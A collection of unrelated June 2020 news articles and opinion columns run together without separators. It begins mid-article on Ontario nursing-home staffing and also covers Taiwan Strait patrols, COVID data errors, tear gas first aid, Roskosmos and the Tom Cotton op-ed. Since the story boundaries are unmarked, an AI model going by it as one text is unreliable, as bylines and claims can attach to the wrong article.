The data largely excludes registered nurses, most of whom are represented by the Ontario Nurses Association. The data also excludes roughly 150 non-unionized long-term-care homes.

Looking at the total number of staff, not the actual hours worked, is an imprecise measure, but academic experts said the Stars findings align with previous research into the disparities in staffing levels between for-profit, non-profit and municipal nursing homes in Ontario.

Union officials also said they have heard from their members that for-profit homes have lower staffing levels.

Yes, 100 per cent, said Sharleen Stewart, president of SEIU Healthcare, which represents workers in more than 160 long-term-care homes in the province. Simply put, its because they have different priorities and that is that they have to be accountable to shareholders.

The Ontario government, which spends $4.3 billion each year on long-term care, provides funding to nursing homes in four envelopes: nursing and personal care; programs and support services; raw food; and other accommodation, which includes expenses related to the running of the home, such as housekeeping, laundry, property maintenance, and the preparation and service of food.

The funding provided in the nursing and personal care envelope varies depending on the level of medical care required by residents; a home with higher-needs residents will receive more money. Homes use funding from this envelope to pay staffing costs for registered nurses, registered practical nurses and PSWs.

Funding provided in the first three envelopes must be used for those purposes alone; any unspent funds must be returned to the province. Surplus funds from the other accommodation envelope can be kept by private operators as profit or reinvested in nursing and personal care for residents. In addition, last year the province introduced another amount of funding separate from the four envelopes that homes can use to address priority areas.

We do not agree with the premise that private homes operate with significantly fewer full and part-time staff than non-profit and municipal homes, said Natalie Gokchenian, a spokesperson for Sienna Senior Living, one of the provinces largest private nursing home chains.

What we can tell you is that the number of employees working at each of our residences is based on the level of funding provided for care and services by government. It is important to note that for every long-term-care home in Ontario, the government funds all resident care, programs and food and no profit can be made from the funds that support direct resident care.

Pat Armstrong, a sociology professor at York University who has spent more than two decades researching long-term care in Canada, said even if the for-profit homes only have lower staffing levels in cleaning or laundry services, thats still a problem.

If thats where (savings) are coming from Im equally worried, she said. I would argue that those are critical to care.

Provincial legislation is vague on staffing requirements in long-term-care homes with only a few exceptions, such as the need for at least one full-time cook and that one registered nurse be present in the building at all times.

Other than that they are only required to have enough staff to meet the assessed needs of the residents.

In the 1990s, long-term-care homes were required to provide 2.25 hours of nursing care per resident, per day. That requirement was dropped in 1996 as part of a broader deregulation of long-term care by former premier Mike Harris, who now sits as the chair of the board of directors for Chartwell Retirement Residences, one of the largest private operators of retirement and long-term-care homes in the province.

Many critics are calling on the government to reinstate minimum hours of direct nursing care.

Last year the City of Toronto committed to hiring 281 new staff members in its 10 long-term-care homes by 2025, which will allow its homes to provide four hours of direct daily care to residents, up from their current 3.5 hours.

We know that residents just dont get the amount of care that is needed. That has become painfully obvious, said Jane Meadus, a staff lawyer at the Advocacy Centre for the Elderly in Toronto.

She says she often hears from clients, who are residents, complaining that they did not get their minimum two baths a week, as required in the legislation.

I hear it more from people in the for-profit sector, but I do hear from people in the not-for-profit sector as well. It happens everywhere, Meadus said.

Part of the problem of course is that we dont have enough people who will work (in long-term care). So you have to increase the wages, so that people arent treating residents as widgets.

The OLTCA attributes the staffing shortage to declining graduation rates for PSWs, trained PSWs choosing other types of work, the heavily regulated environment in long-term care and the stigma of a continued negative focus on the sector.

New research by professors at York and Carleton universities highlights the heavy workloads in long-term care, with about one personal support worker for every eight to 12 residents during day shifts. That ratio increases to about one personal support worker for every 25 residents on the night shift, the researchers found.

From the system level, were not demanding the sorts of conditions that are required to produce good-quality care, said Tamara Daly, a professor of health policy at York University and lead author of a new paper examining how work is organized in Ontarios long-term-care homes. And in a very basic way, we are allowing the system to be nothing better than mediocre.

Reduced staffing levels hinder continuity of care, Daly said, referring to everything from knowing a residents food preferences, to their sleep patterns, to the sensitive areas of their body.

Having permanent staff that know residents well is vital to carry out the normal routine or know the reaction for that person and what seems out of the ordinary and thats the kind of knowledge that doesnt always get written down on the charts or paper, Daly said. Its simply the sort of stuff you know when you can develop relationships at your job.

A military report made public last week detailed disturbing findings made by Canadian Armed Forces personnel deployed to five GTA long-term-care homes hit hard by COVID-19. The 23-page report described residents infected with the virus left to wander, inadequate supplies of personal protective equipment, the use of expired medication, and residents not receiving three meals a day.

Understaffing was highlighted as an issue in the four for-profit homes in which the military personnel were sent, but not the one non-profit.

The staffing is such that it is impossible to provide care at a pace that is appropriate to each resident or allow them any kind of independence, reads a section of the report about Etobicokes Eatonville Care Centre, which is owned by Rykka Care Centres. The report states that residents are often sedated with narcotics when they are likely just sad or depressed in a context where there isnt the staffing to support the level of care and companionship they need.

In a statement released to media in response to the militarys report, Eatonville executive director Evelyn MacDonald said 104 staff members tested positive for COVID-19 and other workers simply stopped coming in. Those who remained were overwhelmed by the pressures brought on by COVID-19, she said. This shortage of staff was a significant challenge.

The military report also mentions problems with poorly trained agency staff.

Neither the OLTCA nor the private companies contacted for this story responded to questions from the Star about the extent of temporary staffing agency use in long-term-care homes. Union officials said temp agency workers are used more often in for-profit homes.

The Ministry of Long-Term Care said less than 2 per cent of personal support workers, registered nurses and registered practical nurses are employed by temporary help agencies, according to the most recent staffing reports sent by the homes. But agency use in housekeeping, food services and other positions are not reported to the ministry.

The ministry said it launched a staffing study earlier this year in response to recommendations from the public inquiry into the killings by Elizabeth Wettlaufer. The study will be used to develop a comprehensive staffing strategy for long-term care, the ministry said, including ideal levels of staff and also best practices for training, recruitment and retention of personal support workers, nurses and other front-line staff.

Fullertons spokesperson also said that the independent commission into long-term care, which will begin in July, will address staffing concerns. We will leave no stone unturned through this transparent, independent, non-partisan commission, Gillian Sloggett wrote in an email.
The US and China have stepped up manoeuvres around self-ruled Taiwan as bilateral ties have deteriorated.

A United States warship sailed through the sensitive Taiwan Strait on Thursday, the militaries from the US and Taiwan said, the same day as the 31st anniversary of Chinas bloody crackdown on pro-democracy demonstrators in and around Tiananmen Square.

China, which considers self-ruled Taiwan its territory, has been angered by increased support for the democratic island by the administration of US President Donald Trump  including more arms sales and regular US patrols.

Taiwans Defence Ministry said on Friday that the US warship had passed through the Taiwan Strait separating the island from China, heading south.

Taiwans armed forces monitored the ship and described it as being on an ordinary mission, the ministry added, without providing further details.

The US Pacific Fleet, in a post on its Facebook page, named the ship as the USS Russell, an Arleigh Burke-class destroyer.

The US has in recent months stepped up its sailings through the Taiwan Strait, to Chinas anger, adding to tensions over everything from Beijings response to the coronavirus pandemic to trade and human rights. China has stepped up its manoeuvres around Taiwan as well, both at sea and in the air.

Public events took place in both Taiwan and Chinese-ruled Hong Kong on Thursday to mark the 1989 Tiananmen anniversary.

On Thursday, police pepper-sprayed some Hong Kong protesters who defied a ban to stage candlelight rallies in memory of the crackdown, accusing Beijing of stifling their freedoms, too.
A Southwest Portland nursing home has said it accidentally reported eight coronavirus staff deaths, solving the mystery behind striking  but incorrect  federal government data.

In fact, the Robison Jewish Health Center has had no coronavirus deaths at all and just one confirmed infection  an employee who has recovered and is now back at work.

Administrator Krista Mattox said she found out about her error Thursday, three days after the federal report unleashed a flurry of concern among lawmakers and state officials.

I went, Oh my gosh, Mattox said. How did this get in there?

The U.S. Centers for Medicare and Medicaid Services requires that homes report detailed information about the coronavirus, including suspected or confirmed staff and resident cases, supply shortages and the number of residents at the facility. Nursing homes nationwide have had mere weeks to learn the software that feeds into the national system.

The state-level nursing home data that the federal agency published Monday showed 55 resident and eight staff deaths in Oregon. Those numbers didnt match Oregons own numbers, which showed 55 deaths total  including all categories of people, including residents, staff and close contacts.

The report does not say which nursing home reported the numbers. It also doesnt include deaths at assisted living centers and retirement homes, which now number 34 in Oregon.

But the news was particularly noteworthy because Oregon health officials have repeatedly refused to say how many, if any, health care workers have died in senior care homes or other medical settings.

The Oregon Department of Human Services, which regulates senior care homes, quickly concluded the federal data was most likely wrong. Officials believed one facility had reported staff deaths in error and were busy trying to figure out which one.

Robison Jewish Health Center is a rehabilitation center, designed for people recovering from surgeries, strokes and other serious and sudden health problems. The home is licensed for 88 beds.

Mattox said she learned of the mistake she made not from state officials but from the industrys main trade association in the state  the Oregon Health Care Association.

The Centers for Medicare and Medicaid Services published all the nursing home data Thursday, with the names of facilities along with the number of deaths and cases they each reported. About half an hour after the data went live, the trade association called and told Mattox the statistics showed that eight workers from Robisons nursing home had died of the coronavirus.

She immediately went back into the data system to fix her error, she said.

Most likely she made the error by plugging in the same information for staff deaths as she did for suspected staff cases, Mattox said. Eight workers were tested for the coronavirus, she said, the same number she accidentally typed in for the number of deaths.

Data Specialist David Cansler contributed to this report.

-- Fedor Zarkhin

fzarkhin@oregonian.com

desk: 503-294-7674|cell: 971-373-2905|@fedorzarkhin
Source: Xinhua| 2020-06-05 22:25:13|Editor: huaxia

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ADDIS ABABA, June 5 (Xinhua) -- As the pandemic is rising on the continent, the Africa Centers for Disease Control and Prevention (Africa CDC) on Friday urged more support to its initiative -- Partnership to Accelerate COVID-19 Testing (PACT).

PACT is anchored on the Africa Joint Continental Strategy for COVID-19 endorsed by the AU bureau of heads of state and government to curb COVID-19 transmission in Africa, by strengthening the capacity to test, trace, and treat COVID-19 cases on the continent.

"There is only one formula to fight COVID-19 in Africa and that is the PACT initiative," said Dr John Nkengasong, Director of Africa CDC, emphasizing that the daily figures show clearly that the pandemic is still on the rise.

Under the initiative, Africa CDC is working with AU member states and several partners to support pooled procurement, storage and distribution of diagnostics and other medical supplies; testing of at least 10 million individuals, and the deployment of one million community workers and community healthcare workers.

In a statement on Friday, the Centre said it has partnered with MasterCard Foundation, which is committing 40 million U.S. dollars to PACT.

The fund will be used for the purchase of one million test kits, and to train and deploy 10,000 community healthcare workers and 80 surveillance rapid responders to support contact tracing as well as strengthen Africa CDC's capacity to oversee a continental response to the pandemic, according the statement.

The Africa CDC undertakes these COVID-19 response measures in partnership with the African Field Epidemiology Network.

PACT will also support the deployment of technology platforms that will enhance testing, epidemiological modeling, and critical health forecasting, to support re-opening and recovery of economies.

"And to defeat the pandemic Africa needs greater cooperation with everybody, including the governments, the community, the media, and the development partners," said Nkengasong,.

"We need to equip, deploy and train more healthcare workers as quickly as possible, and we expect that there will be more cooperation and solidarity through PACT," he has noted.

Africa CDC has distributed more than 2.5 million tests and provided medical equipment such as personal protective equipment, thermal scanners, and ventilators, across Africa.

As of May 31, 2020, Africa CDC had deployed 164 community healthcare workers to support COVID-19 response across 14 Member States and at its headquarters in Ethiopia.

Africa CDC is rallying resources and support to bridge existing gaps in public health systems by meeting the PACT targets. Enditem
Capt Amarinder Singh

Chandigarh: The Punjab Government will appeal against the High Court ruling allowing private schools to charge fee from students for the lockdown period, Chief Minister Captain Amarinder Singh announced on Friday.

Capt Amarinder Singh Asserting that the health and safety of the children was of paramount importance, the Chief Minister also ruled out opening of the schools without getting a clean chit from medical experts.

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Asked to comment on the Patiala demonstration by some parents demanding opening of schools, Captain Amarinder said at his video press conference that he will not compromise the health of the children at any cost. I will not open schools until I get medical advice on this, he added.

Capt Amarinder Singh On the charging of fees by schools during the lockdown period, the Chief Minister said his government had taken the right decision by restricting private schools from charging any fee when students were not being taught by schools.

It is unfair to charge fee from parents when schools are closed, he said, adding that the state would soon file a review petition against the High Court order on this issue.
Photo credit: MediaNews Group/East Bay Times via Getty Images - Getty Images

From Women's Health

Tear gas is technically a chemical weapon, and its use as a weapon is prohibited in armed conflict, according to the International Committee of the Red Cross. Yet it can be, and is, used as a riot control agent in numerous countries, including the U.S. (thats what was recently used to disperse crowds in Lafayette Square in Washington, D.C. last Monday night).

Tear gas does a lot more to your body than just make your eyes tear. Heres what tear gas is, what it does to your body, how to protect yourself, and what to do if you come in contact with it.

What is tear gas?

Tear gas can be composed of a few different chemical agents and its not technically a gas; its actually a powder thats propelled into a spray thats extremely irritating to the human body. "Tear gas should actually be thought of as a type of nerve agent that doesnt just irritate cells, but activates specific pain receptors, (TRPV1, TRPA1) leading to the intense and burning pain on all affected surfaces and membranes," Robert Glatter, M.D., Men's Health Advisor and emergency physician in NYC, has told Men's Health.

It activates when it comes in contact with a tiny amount of moisture on your skin, eyes, mouth, nose and lungs, explains Rohini Haar, MD, MPH, an emergency physician at Kaiser Medical Center in Oakland, medical expert at Physicians for Human Rights, and research fellow at the Human Rights Center at the University of California, Berkeley, School of Law. Although it was developed about 100 years ago, research around it is pretty limited. Theres no regulation and no transparency around its production, and theres no research around what potency is safe or how theyve proven its safe.

What do you feel when tear gas is released?

Your eyes, nasal, and oral passages start burning. It causes your eyes to spasmit feels like theres something in your eye and you cant see straight and keep your eyes open. This causes people to feel really disoriented and agitated, especially since you cant keep your eyes open long enough to run away. It inhibits people from orderly dispersal, Dr. Haar says.

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In your airways, the irritation triggers mucus, makes you cough, and makes breathing difficultsome people say it feels like theyre drowning. Lung tissue is very sensitive and can be burned and injured pretty quickly, says Dr. Haar. Children, the elderly, and people with asthma and other chronic respiratory conditions can be especially susceptible. Tear gas also causes skin irritation, sometimes so badly that theres roughness, swelling and blistering. People say it feels like their skin is going to burn off, she adds.

Dr. Glatter notes that some people have died after being tear gassed. A study published in 2016 in the New York Annals of Science conducted by a collaboration of top universities states that many believe the risks of tear gas exposure are understated and that perceived risks are based on insufficient human epidemiological and mechanistic data.

So its important to protect yourself as much as possible and act quickly if you are exposed to it.

How can you protect yourself?

Wearing eye protection and masks while protesting would be recommended, says Dr. Haar. Ski goggles would protect your eyes from getting any of the tear gas, but they tend to be disorienting and uncomfortable. Safety glasses or sunglasses at least can protect you from getting any spray directly in your eyes. For COVID-19 protection, you'll be wearing a mask, anyway.

To keep tear gas off your skin as much as possible, cover upwear long sleeves and long pants. Amnesty International recommends avoiding oils and lotions, since they can trap the chemicals on your skin, prolonging the irritation.

Be aware that injuries can also occur from the propellent or bits of the canister that the tear gas is detonated from, and can burn you if you touch them. If you see one being launched, get out of the way. (For tips on other aspects of protesting, check our guide to protesting safely amid the pandemic.)

What to do if youre tear gassed

If youre exposed to tear gas, get out of the space. You need to stop the exposure, then decontaminate, says Dr. Haar. Move away and get as much fresh air as you can.

The CDC recommends getting to the highest ground possible, because riot control agents will form a dense vapor cloud that can travel close the ground.

Dont rub your face or eyes, and if you wear contact lenses, remove them with clean hands. Amnesty International recommends that after you take care of any immediate medical needs, you should start walking around with your arms outstretched to take advantage of fresh air.

Tear gas sticks not only to skin but also to clothes, so as soon as you can, remove contaminated clothing. Try not to pull your clothes over your head in order to prevent getting more in your eyes and mouth. Flush your eyes with water, recommends Dr. Glatterdont just rinse them quickly from a water bottle. You may need several liters to rinse themAmnesty International recommends irrigating by tilting your head back and slightly toward the side being rinsed and irrigate the eye from the inside corner of the eye toward the outside.

Take a cold shower as soon as you canwarm water opens your pores and lets the chemical into themand wash your clothes. It may take more than one wash to get the chemicals out. In fact, some of the new tear gasses are designed to be more potent and have a longer shelf life. These can stay on surfacesif you kick it up a few days later, it could still make you symptomatic, Dr. Haar says.

Eventually, your body breaks down the chemicals, says Dr. Haar, and the sensations subside. If youre having issues with vision within about 30 to 60 minutes of good decontamination efforts, seek medical attention. Always seek help if youre having significant breathing issues.

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The state government needs to recommence subsidising flat-rate flights to Exmouth and Broome to prevent airlines price gouging West Australians who want to holiday in regional towns, the state opposition says.

Shadow Tourism Minister Alyssa Hayden called for the initiative to be rebooted in light of coronavirus restrictions banning interstate and international travel.

Peak season for tourism in WA's North West is from April to September.

She said the freedom to again travel across the state again could lead to increased regional airfares.

"The state government back in 2018 and 2019 helped to underwrite flights to Broome and Exmouth, but they've put that program on hold for 2020 obviously due to COVID-19 and they haven't prepared for it to be up and running to coincide with regions reopening," she said.
In the run-up to the 2018 midterm elections, Trump deployed active-duty forces to the border with Mexico in what critics described as an attempt to use the military as a political prop. He took billions of dollars from the Pentagon budget that werent authorized by Congress to build parts of the border barrier. And he intervened in the high-profile war crimes case against former Navy SEAL Eddie Gallagher in what was seen by many at the Pentagon as a broadside against impartial military justice.
Source: Xinhua| 2020-06-05 15:49:08|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi held a telephone conversation on Thursday with his Egyptian counterpart, Sameh Shoukry.

Congratulating China on taking the lead in containing the spread of the coronavirus, Shoukry said that he sincerely rejoices over China's full resumption of work and production, and that his country is willing to learn from China's anti-epidemic experience.

Egypt appreciates China's contribution to global anti-epidemic cooperation, and opposes some countries' groundless accusations against China, Shoukry said.

As comprehensive strategic partners, the two countries have secured solid political mutual trust and maintained broad cooperation, he said, adding that Egypt appreciates China's constructive role in international affairs, and is willing to maintain sound communication with China.

For his part, Wang said that under the personal leadership of Chinese President Xi Jinping, China has fully put under control the epidemic at home and taken the lead in resuming work and production, providing experience for the global fight against COVID-19 and contributing to global economic stabilization.

Some countries, out of their domestic political needs, have been smearing China and making groundless accusations, which will not be accepted by the international community, he said.

Noting that the pandemic is having a profound impact on the international situation, Wang said that it is necessary to strengthen high-level strategic communication between leaders of both countries, as well as between leaders of China and Africa, and that China, Egypt and Africa need to join hands to overcome difficulties, promote the building of a closer community with a shared future, and together make a strong voice for upholding multilateralism and safeguarding international fairness and justice.

The two sides also exchanged views on regional issues of common concern. Enditem
A scroll through the official Twitter account of Roskosmos on June 3 would have turned up some striking old posts from Russias respected state-owned space agency.

The successor to the Soviet ministry that launched the first man and woman into space, Roskosmos has become a global brand and leader in satellite and manned space launches for countries and companies around the world.

Yet some posts on its new Twitter handle, @rogozin, undermined that global image.

I would change now, without thinking for a second, all my positions for the joy of being in the same trench with the defenders of Slavyansk! read a post from May 2014, referring to the Russian-backed separatists fighting in eastern Ukraine.

Russia this week transformed @rogozin, the personal Twitter account of Dmitry Rogozin, the outspoken nationalist director-general of Roskosmos, into the agencys new official account.

The @rogozin account has nearly 770,000 followers compared with nearly 155,000 for the old Roskosmos account, @roscosmos. The company said the change was made to end redundancy.

"We are already coordinating the press service's most important publications with the director-general, so there is no point in running two parallel accounts," Vladimir Ustimenko, head of the agencys press service, told state-owned RIA Novosti.

However, it did so before deleting many of Rogozins old, acerbic posts prior to his appointment as the head of the nations space agency.

Once news agencies began to point out the irreverence of some of the posts now being associated with Roskosmos through its @rogozin handle, the companys social-media team moved at cosmic speed to clean it up.

By June 5, most of the eye-opening posts, including the one about the trenches in Slavyansk, were deleted.

Reined In?

But the sudden change of Twitter accounts has raised some questions about whether the outspoken nationalist is being reined in by the government.

The Twitter handle maneuver comes two weeks after Ivan Safronov, a former journalist at two of Russias most-respected business papers, was appointed as an adviser to Rogozin on media policy.

It also comes days after an embarrassing international moment for Rogozin.

On May 30, SpaceX, a company owned by American entrepreneur Elon Musk, launched two astronauts aboard a rocket from Florida to the International Space Station (ISS).

It was the first manned rocket launch from American soil since 2011, when the United States closed the Space Shuttle program. The launch ended Roskosmoss decade-long monopoly on manned launches.

When asked during a press conference after the successful May 30 launch if Russia had sent any message, NASA head James Bridenstine said that he received congratulations from Rogozin.

Musk then responded pithily by saying the trampoline is working, an undisguised jibe at the Roskosmos director-general that grabbed media headlines.

After Russia annexed Ukraines Crimean Peninsula in March 2014 and backed separatists in eastern Ukraine, the United States imposed a series of sanctions against Russian officials and state companies, including Rogozin.

That prompted an angered Rogozin to tweet in April 2014 that U.S. astronauts -- who were dependent at the time on Russian rockets -- could henceforth try using a trampoline to get to the ISS. That tweet has been removed as well.

Rogozin, known for his anti-American and anti-Western rhetoric, founded the nationalist Motherland party in the 2000s and later served as Russias representative to NATO.

When Vladimir Putin returned to the post of president for his third term in 2012, Rogozin was named deputy prime minister and charged with overseeing the defense and space industries.

He was tapped to head Roskosmos in 2018. However, his tenure overseeing the industry hasnt exactly been smooth sailing for the 56-year-old.

The years-long construction of the Vostochny Cosmodrome in Russias Far East had been marred by delays and massive corruption, with some workers staging a protest over lack of pay.

In 2018, a tiny hole was discovered inside a spacecraft docked to the ISS while a rocket failure that same year caused a U.S.-Russian crew to abort its mission.

Rogozin last year called some of the criticism exaggerated and deranged cries.
(Bloomberg Opinion) -- Republican Senator Tom Cotton of Arkansas launched his 2024 presidential campaign yesterday. His op-ed in the New York Times has created a blizzard of protest both within the nations most elite liberal newspaper (for publishing it) and beyond (for what it says). Both debates are valid. However, his column is best understood as a marker: Cotton is laying down a stake on a future debate, not one in the present.

Titled Send In the Troops, the column does indeed say that its past time to support local law enforcement with federal authority. Federal troops are necessary to crack down on the anarchy unleashed by cadres of left-wing radicals, Cotton writes. (No, he doesnt bother with the nuisance of proving such cadres exist.) Only military force can smash the looters and rampaging criminals, who include the thrill-seeking rich as well as other criminal elements.

The essay is a demagogic hash, as greasy as the bacon Senator Ted Cruz once cooked on the muzzle of an AR-15. But if youre a precocious right-wing senator with a strong attachment to personal advancement and a weak one to pluralistic democracy, then you might view Cottons piece as pretty smart.

If President Donald Trump is re-elected in November, or somehow manages to retain power without the benefit of election, Cottons hysterics will be completely forgotten. No harm, no foul. But if Trump is defeated, the battle for the 2024 nomination will begin immediately, and Cotton will have a message that resonates across the plains and valleys of racial and cultural resentment that define the Republican base: Who lost Washington?

This is not a new or original message. It hearkens all the way back to the communist hysteria of Who Lost China? after World War II. But its a crowd-pleaser, especially among Republican base voters who find Trumps destruction of democratic norms and constitutional niceties one of his most appealing traits.

Story continues

The partys core voters chose Trump because they want someone to smite their enemies, not cooperate with them. Polls show Republican voters are not interested in compromise. Study after study documents the racial and cultural resentments that power this lust for political and cultural conquest.

If youre tired of the feckless politicians of urban America and the elites who have excused this orgy of violence in the spirit of radical chic, Cotton is offering you a blueprint to own the libs once and for all. He wont merely send officers deploying rubber bullets, batons, flash-bangs and pepper balls (tear gas) to disperse a peaceful crowd exercising its First Amendment rights of assembly and petition, as U.S. Attorney General William Barr did this week in Washington. Cotton will impose a hostile occupation of cosmopolitan America.

More important, Cotton is first to brand the assault as his idea. Whether Cotton actually believes his authoritarian dream is practical (let alone necessary) is beside the point. Its the message that matters, and the message, circa 2021, goes something like this:

If only wed cracked down harder on those liberal cities  and the omnipresent Antifa that youve heard so much about on Fox News  then we couldve saved America from the horrors of Democratic rule.

Donald Trump, in the end, may simply prove too weak to meet the threat posed by a diversifying country. Republican voters may discover that a merely thuggish president is not sufficient for the task they have in mind. They need a competently thuggish one, someone willing to go even further than Trump, yet without the flailing and chaos that has undermined the MAGA cause. Tom Cotton just made a pitch for their votes in 2024.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Francis Wilkinson writes editorials on politics and U.S. domestic policy for Bloomberg Opinion. He was executive editor of the Week. He was previously a writer for Rolling Stone, a communications consultant and a political media strategist.

For more articles like this, please visit us at bloomberg.com/opinion

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2020 Bloomberg L.P.
By PTI

BENGALURU: Biocon Ltd announced that its Executive Chairperson Kiran Mazumdar-Shaw has been named the EY World Entrepreneur of the Year 2020 (WEOY) at a virtual award ceremony held on late Thursday.

She has been honoured with the title from among a distinguished list of 46 EOY country award winners from 41 countries and territories, the Bengaluru-headquartered biopharmaceuticals company said in a statement.

In the award's 20-year history, Mazumdar-Shaw is the first woman entrepreneur from India and the third Indian to win it.

She is the second woman worldwide to hold this title, after Olivia Lum of Hyflux Limited, Singapore, who won the award in 2011.

Uday Kotak of Kotak Mahindra Bank (2014) and N R Narayana Murthy, co-founder of Infosys Ltd, (2005) are the other winners from India.

Mazumdar-Shaw has previously won the EY Best Entrepreneur: Healthcare & Life Sciences Award in 2002 and was bestowed with the EY Entrepreneur of the Year India 2019 Award in February 2020 and represented India at the WEOY 2020.

In their felicitation, EY had said Mazumdar-Shaw is "synonymous with the Indian biotech industry," and has been at the forefront of innovation through her strong investments in research.

Mazumdar-Shaw said she is truly honoured to receive the award. At its core, entrepreneurship is about solving problems.

The greatest opportunities often arise at the toughest times, and that's been her experience throughout her entrepreneurial journey, she said.

"My business focus is global health care and the provision of universal access to life saving medicine; however, my responsibility as an entrepreneur is greater than simply delivering value to shareholders", Mazumdar-Shaw said.

Wealth creation can be a catalyst for change, and all entrepreneurs have a responsibility to the world around them and the communities in which they operate, she added.
Oil posted its sixth weekly advance, closing at the highest level since March 6 after a U.S. jobs report beat analysts forecasts, adding to a rally fueled by a tentative OPEC+ deal to extend output cuts.

Futures in New York rose 11% this week, topping $39 a barrel for the first time since early March. Ahead of a Saturday OPEC+ meeting, the producer alliance agreed to extend output curbs by another month after members who havent complied with the quotas said they would compensate in the coming months. U.S. stocks jumped after the employment report bolstered expectations for the economy to rebound quickly from coronavirus lockdowns.

The real test for oil will be getting past $41, where futures stood before the markets historic crash in March, said Robert Yawger, director of the futures division at Mizuho Securities USA. Youd be hard pressed to find a more bullish situation than closing that gap, he said.

The market has staged a rapid recovery from its mid-April plunge below zero, but the rebound remains fragile, with prices still down 35% this year. Sustaining the rally hinges on a combination of returning demand and ongoing output cuts at a time when higher prices are prompting some U.S. producers to re-open wells.

AGREEMENT: OPEC+ set to extend cuts after breakthrough with Iraq

Money managers are piling in, boosting bullish Nymex WTI crude oil bets to the highest in about 22 months.

Still, the demand recovery is uneven. U.S. diesel demand fell to the lowest level in 21 years last week and, in Europe, profits from making the fuel are collapsing, threatening to limit demand for crude. On the other hand, China, the worlds second-biggest oil user, is recovering quickly, with consumption back to pre-pandemic levels.

OPEC+s historic agreement to trim 9.7 million barrels a day of production has supported prices. Moscow, a habitual laggard, has complied punctiliously with the historic accord brokered by U.S. President Donald Trump, and wants to make sure others do too.

Now the group is set to extend those cuts after almost a week of wrangling and high-stakes negotiation. The cartel and its allies will hold a round of meetings starting at 8 a.m. New York time on Saturday.

WTI for 2021 traded above $40 a barrel on Friday, the highest level since March. A $45 price could be enough to see renewed production growth in the Permian Basin, Citigroup analysts wrote in a report.

2020 Bloomberg L.P.
Earlier this week the New York Times published Senator Tom Cottons op-ed column Send in the troops. Senator Cottons column urged President Trump to invoke the Insurrection Act of 1807 in order to protect communities from nihilist criminals. Full of relevant links, the column included observations such as this one regarding the events of the past two weeks:

[T]he rioting has nothing to do with George Floyd, whose bereaved relatives have condemned violence. On the contrary, nihilist criminals are simply out for loot and the thrill of destruction, with cadres of left-wing radicals like antifa infiltrating protest marches to exploit Floyds death for their own anarchic purposes. These rioters, if not subdued, not only will destroy the livelihoods of law-abiding citizens but will also take more innocent lives. Many poor communities that still bear scars from past upheavals will be set back still further. One thing above all else will restore order to our streets: an overwhelming show of force to disperse, detain and ultimately deter lawbreakers. But local law enforcement in some cities desperately needs backup, while delusional politicians in other cities refuse to do whats necessary to uphold the rule of law.

Well, this could not stand. First the Times added editorial director James Bennets note explaining why we published the Tom Cotton op-ed. But this could not stand either! Bennet has renounced the column, claiming not even to have read it before publication (or maybe even after, when he defended its publication).

Now the Times itself has renounced the column. Weve examined the piece and the process leading up to its publication, Eileen Murphy, a Times spokeswoman, said in a statement. This review made clear that a rushed editorial process led to the publication of an Op-Ed that did not meet our standards. As a result, were planning to examine both short-term and long-term changes, to include expanding our fact-checking operation and reducing the number of Op-Eds we publish.

The Times has published a triple-bylined story providing an account of the scandal, as the Times deems it. More than 160 employees have planned a virtual walkout for today and a town hall is scheduled.

Oh, goody. Perhaps James Bennet will perform seppuku before the assembled multitude.

There is much that can and should be said about all this. The Times long ago turned into an absurd, illiberal, and subversive institution in American life. On a personal note, however, I would like to add that our relationship with Senator Cotton goes back to his days patrolling the streets of Bagdhad as an Army Ranger in 2006 when he took the time to copy us on a letter to the editor denouncing the Times. The Times didnt publish it, of course, but we did. I took a look back five years ago in the post Nine years later, Tom Cottons letter to the Times.

In 2015 the Times asked Senator Cotton about his 2006 letter to the editor without ever having acknowledged its existence. Readers who get their news from the Times cant have had any idea what they were talking about. It is altogether fitting and proper that Senator Cottons op-ed has served further to expose the rot at the Times and perhaps to advance it.

Hank Berriens Daily Wire story usefully collects some of the action on Twitter. Mark Hemingway comments in the RCP column NYT Reporters-Turned-Censors Pick a Perilous Path. Times columnist Michelle Goldberg unintentionally demonstrates the rot that pervades the Times in her sickening contribution under the headline Tom Cottons fascist op-ed. The Times delenda est.
TUSKEGEE, Ala. - Motorists driving along an interstate highway in a majority African American county near the home of historically black Tuskegee University late Thursday found a cross burning on an overpass, news outlets reported.

The flaming cross was on top of a bridge over Interstate 85 in Macon County Thursday night, Macon County Sheriff Andre Brunson told WRBL-TV. Police were investigating, but no suspects or arrests were announced.

John Bolton, who saw the burning cross while in a car on I-85, told the news outlet he saw what looked like a shadow flee from the scene as he ran toward the blaze with two other men who were with him. He then called 911 while one of the guys climbed up to the bridge to knock the cross down, Bolton said.

A few minutes later, deputies arrived and helped extinguish the fire, Brunson said. Once the fire was gone, Bolton said they saw a tire and a fuel canister had also been set on fire.

Cross burnings have historically been used by the Ku Klux Klan and other racist organizations to rally supporters and terrorize black people in the South and elsewhere.

Brunson told the Opelika-Auburn News that police just cant let people get away doing that.

That is something to strike fear in peoples hearts, and were not going to let people make them afraid. We need to bring that person to justice.

Founded as Tuskegee Institute, the university was an early leader in efforts to educate African Americans in the South after the Civil War. Macon County also was home to the Tuskegee Syphilis Study, in which the federal government let hundreds of black men go untreated for syphilis so they could study effects of the disease.
WASHINGTON - Three days after the U.S. Park Police claimed that tear gas was never used on protesters outside the White House, the organization's spokesman acknowledged that the chemical agents shot into the largely peaceful crowd have similar painful effects.

A spokesman for the Park Police said in an interview with Vox that his agency regretted using the term "tear gas," noting that officers threw pepper balls containing an irritant powder and chemical agents that are designed to produce tears. Their use causes people to experience difficulty breathing and burning sensations on the skin.

"The point is, we admitted to using what we used," Sgt. Eduardo Delgado, the spokesman, told Vox. "I think the term 'tear gas' doesn't even matter anymore. It was a mistake on our part for using 'tear gas' because we just assumed people would think CS or CN," two common forms of tear gas.

"I'm not saying it's not a tear gas, but I'm just saying we use a pepper ball that shoots a powder," Delgado added.

But two hours later, after The Washington Post contacted the Park Police and the White House for comment, acting Park Police chief Gregory Monahan walked back that acknowledgment.

In a statement from Monahan emailed by Delgado, the acting chief repeated that "United States Park Police officers and other assisting law enforcement partners did not use tear gas or OC Skat Shells to close the area at Lafayette Square in response to violent protesters."

Delgado declined to comment further.

The Park Police's initial denial - echoed by the White House and President Donald Trump's reelection campaign - became a national controversy amid the outrage that followed the forcible removal of protesters from streets near the White House on Monday evening.

